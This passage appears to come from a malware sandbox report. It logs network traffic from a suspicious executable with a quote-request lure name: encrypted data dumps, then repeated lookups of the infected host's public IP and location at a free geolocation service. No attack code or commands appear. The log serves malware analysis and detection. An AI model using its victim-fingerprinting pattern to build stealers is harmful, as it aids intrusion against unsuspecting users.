2024-12-03 14:31:56 UTC	1390	IN	Data Raw: 3a c9 f3 af ed 26 ec e6 fb be 1f 89 fe a9 c5 ac c9 d4 bf 48 48 a3 8d b3 db 05 bf ab 3f 51 d8 ad 5f 3d 99 ba 61 10 7e e1 89 eb e5 be d2 8a 2a 61 1c e2 e6 53 7a 12 cd b1 2b 67 fb 99 dc b2 e2 ff b0 d7 86 c3 77 89 aa 5b 17 85 ec 58 dc 13 39 3d 25 6f 52 e8 50 f5 0a b6 78 47 b6 72 26 1f 55 e1 59 ab 43 0e 20 b6 6a 8f a0 7c e1 62 69 f0 e2 bc 1e 87 31 4f f0 fa 18 08 48 da 4d f9 22 c7 53 4d 66 47 e4 c7 2f f9 4d 14 a0 5b 3a 2a a8 5b 6c 8d 84 02 01 da b8 21 ec 96 75 30 d9 92 4b 3d d1 c0 08 96 1a 09 25 bb 06 a8 05 e4 90 f1 b5 f5 60 29 3f e7 97 a6 50 42 a5 12 a1 dc 04 59 f7 80 b8 2c 7d 7c 1e 71 f7 2f 03 be 2f 04 c7 16 3f 23 d6 0d 7e 37 b9 88 58 5e 75 88 0e 47 13 1b 64 df 00 5e ed 9e 41 a4 e6 68 ac ea 66 8e 22 9f 6c e8 c1 63 38 c7 eb a5 82 e7 c2 9e f9 22 77 08 51 12 fe Data Ascii: :&HH?Q_=a~aSz+gw[X9=%oRPxGr&UYC j\|bi1OHM"SMfG/M[:[l!u0K=%`)?PBY,}\|q//?#~7X^uGd^Ahf"lc8"wQ
2024-12-03 14:31:56 UTC	1390	IN	Data Raw: 3a 29 99 36 c9 2b 48 a5 30 e8 c1 15 4f 85 a6 f8 2c 77 7d 2a 7d ea 8c 16 be 55 a6 f3 1a 78 4c d6 0d 7e 95 9c a8 e9 0b 7a 88 7e e5 20 2a 6c e7 00 54 e9 1c 64 b2 94 11 8b 9d 16 2c 0d 84 0e 79 81 63 3c a9 20 b3 f0 79 6b bb 95 78 03 1c 51 64 fe e4 3c 03 5e 97 d0 d0 b6 cf bb c4 1c 70 aa eb 8a 9a b3 93 21 65 72 b7 de c2 9a ff ae bd 0c 39 0a e7 b7 be 47 0c 6b 63 1c 2c 58 97 5e 2b 8b 4e e9 25 99 36 d0 f9 03 10 e0 ba 5c e7 c4 c0 d0 61 81 83 db 55 43 76 d6 4a f2 2d 2a da 96 ec 2e 09 bd 78 bc b8 31 95 84 f0 f8 d1 6c 9c 4f 49 fb 11 82 e3 20 b5 94 eb ff fb 9e 5a 84 fc 26 f6 f9 cd ec 46 10 5c f8 03 2a 8b 2b 7f ae 1f 65 53 30 57 ca 83 33 18 f3 f5 8e a7 ec 0d d9 41 93 d8 88 76 30 4c 1a 4f 3a 6c 14 f5 86 0a 9f b0 94 ca e1 32 91 59 d6 11 fb dc 78 f1 27 cb 71 81 fa ba 70 1e Data Ascii: :)6+H0O,w}}UxL~z~ lTd,yc< ykxQd<^p!er9Gkc,X^+N%6\aUCvJ-.x1lOI Z&F\+eS0W3Av0LO:l2Yx'qp
2024-12-03 14:31:56 UTC	1390	IN	Data Raw: 88 f9 51 6d 53 fe f5 8b 3e 49 84 f5 0e d9 b9 a2 ed 4c 62 e3 ea df 84 b0 4c 57 9a 19 74 47 32 47 e2 ef 51 18 f5 ff 8e 45 eb 0d d9 64 bb ec f6 44 3a 5f 01 3d 87 0c 14 85 9a fc 1e b0 94 c0 f7 b2 a4 4a d3 04 8c 70 b0 f3 57 dd 27 2f fa ba 7e 7a 85 11 b7 62 65 1d d6 80 48 fd e3 f4 8e 0c c6 0b d8 f6 d0 df df 0a a5 53 94 a9 64 62 b6 e0 7e 36 b7 53 83 02 0a 0d c0 e2 71 ff a0 ff 8e 4d 72 e7 7c 4f 5c 1e db fb d9 2c 5b 3f c0 26 93 5f e3 f6 70 cc 08 06 70 35 65 f1 13 73 00 9a 32 94 81 ce dd b5 8f 1d 68 ea 28 f0 d5 3e 40 56 e6 a9 f6 5b d0 22 1c 47 ff 12 ef 3b 9e 3d 46 6b 32 f7 25 7a 5a 84 52 20 45 83 24 c1 c8 d7 4c d4 fc e6 4c e4 34 ce 5c 4e 8c 61 86 e3 56 aa 3a ce bc 83 f3 fe e7 0e d7 71 9a 30 cd 4a 55 6b 4d b3 c0 c6 91 b2 e7 b1 7d 07 94 09 6f e3 11 8a 31 90 44 87 40 Data Ascii: QmS>ILbLWtG2GQEdD:_=JpW'/~zbeHSdb~6SqMr\|O\,[?&_pp5es2h(>@V["G;=Fk2%zZR E$LL4\NaV:q0JUkM}o1D@
2024-12-03 14:31:56 UTC	1390	IN	Data Raw: 2f 9a bf 0c 43 2d 1f ae 49 af 34 29 dc 90 d2 34 04 6b 83 4f a9 a7 a6 38 b2 d8 d7 3e 8d 48 ce 49 46 11 d3 1b a6 8c 61 86 52 51 a9 c5 db b3 83 82 79 d4 65 ee 5e 9a 40 6b cd 67 59 8b 82 c3 cc 43 35 da d8 56 28 94 79 c9 64 2d e8 7b a5 52 83 92 94 07 8b 78 3f 5d 37 cb ba 96 49 d8 f0 99 b0 6f 75 ba 8b e2 a2 1d d0 b5 64 34 a4 40 1c 0a e9 4d f2 af 25 4a 2f 84 07 65 a2 9a 1f 04 ad 84 91 06 25 b3 a7 b1 cf c8 04 30 7a fb b5 7b b8 80 27 8d c7 05 c7 22 23 19 37 6b f2 e7 67 8d 02 2f 16 e7 eb 22 b4 6e 42 56 b6 68 f8 f5 e9 09 91 bd b8 9d e5 8d f7 97 d8 a3 71 d0 85 8a 4e 76 8c f1 12 21 71 b2 f1 cb d3 ec 52 67 ff e0 5c 11 e7 1f 87 f3 0c b4 14 97 e3 41 c1 cc a5 4b 77 1d 3c 1c 1e 7e e7 a6 9b ed fa 20 e0 fc f9 16 ed 8c 12 f1 c5 ec 08 1d 0b cc f6 a7 a4 8c fe 80 be 9e 20 73 51 Data Ascii: /C-I4)4kO8>HIFaRQye^@kgYC5V(yd-{Rx?]7Ioud4@M%J/e%0z{'"#7kg/"nBVhqNv!qRg\AKw<~ sQ
2024-12-03 14:31:56 UTC	1390	IN	Data Raw: ed 70 ff e1 cf 4f 8b f0 da 93 7e 59 9b 9f f3 25 1c 58 8f bc c1 31 66 52 67 f4 c5 4a 48 c5 09 96 92 b8 fe c9 bf 57 4b c1 c6 16 7f 11 51 69 13 1a 26 8e 83 82 99 ad ec e0 f8 51 33 e6 ef 5d c8 c5 9c ae 46 2b b2 d6 a3 d7 34 5c a5 a8 83 d8 65 51 72 db 75 4b 39 fa ac 5c c5 b4 e9 4d 3d 76 c9 0c f0 f9 4e 5e d9 95 94 4a 78 d8 84 e0 c0 33 80 2c 90 85 3f 45 b7 53 57 be 5d 5a 39 fc 91 9a 85 eb 28 c0 11 3a dd 19 1f 43 41 df 0e 0c 23 35 07 56 c2 0a fc bc 40 e4 d4 45 27 d5 fc 81 b3 58 fe 35 60 22 57 81 e6 35 25 49 50 aa 6b 45 e5 2a 99 6f 5a d1 a1 9f 37 66 c9 d4 95 64 c3 ff 9b 2e 73 ef a3 78 0c 66 5b 18 23 1b c0 4d 3c 8d ec 89 9c c2 ce 46 48 26 93 5f 72 b7 62 f4 2a 50 f3 08 db ea 80 c0 ba be b0 80 97 9c af 4a cb 2f 54 df ba 58 58 fc 2f 00 a0 a0 09 49 28 dc 03 b4 84 96 4e Data Ascii: pO~Y%X1fRgJHWKQi&Q3]F+4\eQruK9\M=vN^Jx3,?ESW]Z9(:CA#5V@E'X5`"W5%IPkEoZ7fd.sxf[#M<FH&_rbPJ/TXX/I(N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49940	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:01 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 14:32:01 UTC	880	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113744 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UJBkCiD6PYdrvuvfqeiPQaSg%2BOW6ApKAHEwL72RXD%2BOto2fulYsRG7ICdgCGYNuOZTgSOXACycjEJ8TorPnxtC1ZHq8%2F8UHX5THRpISvSvsiTCStrswU%2FxMTiU%2FHwP2r8IQBWMKQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec44380e86d42cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1741&min_rtt=1740&rtt_var=653&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1678160&cwnd=241&unsent_bytes=0&cid=895f8cdbd7074cfb&ts=475&x=0"
2024-12-03 14:32:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49946	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:03 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 14:32:03 UTC	876	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113746 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fO5dmj9EeKeHzf6gG7uPBHlrGZaYmIAjxZV4%2BV5pS6Wqd6sWFr2MgDPkXzwfsHaxTuKc32uoLcY48CmhqeqiMov8KX0uN9kE851q0T8vx%2BTer64HLJehYNkMAoq4xY%2BO3DIvBgtl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec4438f0bad0fa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1520&min_rtt=1516&rtt_var=577&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1882656&cwnd=252&unsent_bytes=0&cid=8ccddf9d7c2c5885&ts=473&x=0"
2024-12-03 14:32:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49952	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:05 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 14:32:06 UTC	884	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:05 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113748 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bn9ldn5h%2FkCM9SH%2BkxAxmllWbvAqotPG5f3XWTdPGjm81HICd9jWPbrDpqvrwBk4q74Cb1BPJQbQINabLl7zLU%2FwcAx9Rn8whsbR%2BL1k6JYc5lGYXGRhJn%2BH%2B9OTWDJ5RNXwZ1jR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec4439c9d3042d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1718&min_rtt=1711&rtt_var=657&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1647855&cwnd=214&unsent_bytes=0&cid=f0d27956894354e4&ts=506&x=0"
2024-12-03 14:32:06 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49958	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:07 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 14:32:08 UTC	884	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:08 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113751 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=osOt6nXJVg6kFwiMuuH9s%2BeUoVWYK1HmqrkTUorAZ0WrcmEIg4QDP%2BgvSwfYskqSK%2FUeFvHrn%2BKEdHlm%2Bpy1kIZKTLRSgCFjEMc3ER3K4H7sS%2BMsP0ZBTTAd1utnE34%2FjFIhk8v6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec443aa0eb680dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1975&min_rtt=1743&rtt_var=820&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1675272&cwnd=144&unsent_bytes=0&cid=1e4a41b5fd6d287e&ts=486&x=0"
2024-12-03 14:32:08 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49965	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:09 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 14:32:10 UTC	880	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113753 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3kgtgxNER5R%2FDgkvJUj5CuA3jN2e2u993IM3BMv42kvNPyUj5EOtFL1GUb%2Foufk9eZ7Uzc0eF0affOCNJxaPfZyHlnN8VrwbQpJtC%2Bd24S00%2BbHVdukiz5XFvQKRZBU5sVcQ2%2BXf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec443b7bd7a8c3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2118&min_rtt=2060&rtt_var=814&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1417475&cwnd=228&unsent_bytes=0&cid=4e8abe0abb4683fe&ts=503&x=0"
2024-12-03 14:32:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49970	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:12 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 14:32:12 UTC	886	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:12 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113755 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cTXc4ONZZxnZYC%2Bthk%2BU9QlplaCahf6CnXEBI3Ni5k%2BSK%2FIsKTyD3Ob%2FKPMAPxRhypRkSTi7Wpv9s3ALpty8%2F06N78db%2B2ifX0r6ltes8AaXwKjOuVoXdER7B%2F0ld6A6VJkFslNO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec443c51cc40f83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1509&min_rtt=1496&rtt_var=587&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1821584&cwnd=228&unsent_bytes=0&cid=b2112118e11883f2&ts=470&x=0"
2024-12-03 14:32:12 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49976	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:14 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-03 14:32:14 UTC	884	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:14 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113757 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FJnnYx%2FgO7XSul%2Fg0JwH%2FuMZfyS6XsySB3JWd1yEzChgWhnX7KjHFosETGJcWU%2FLqQx0rZ%2FvcDGk7Vka0xAXzKbNryJu0ZMx69xgS83rGR0aBJi7PECawNiWim28R%2FpbFbr9Bxul"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec443d23851c332-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1641&rtt_var=620&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1756919&cwnd=180&unsent_bytes=0&cid=f6501283f72c6775&ts=468&x=0"
2024-12-03 14:32:14 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49981	172.67.177.134	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:16 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
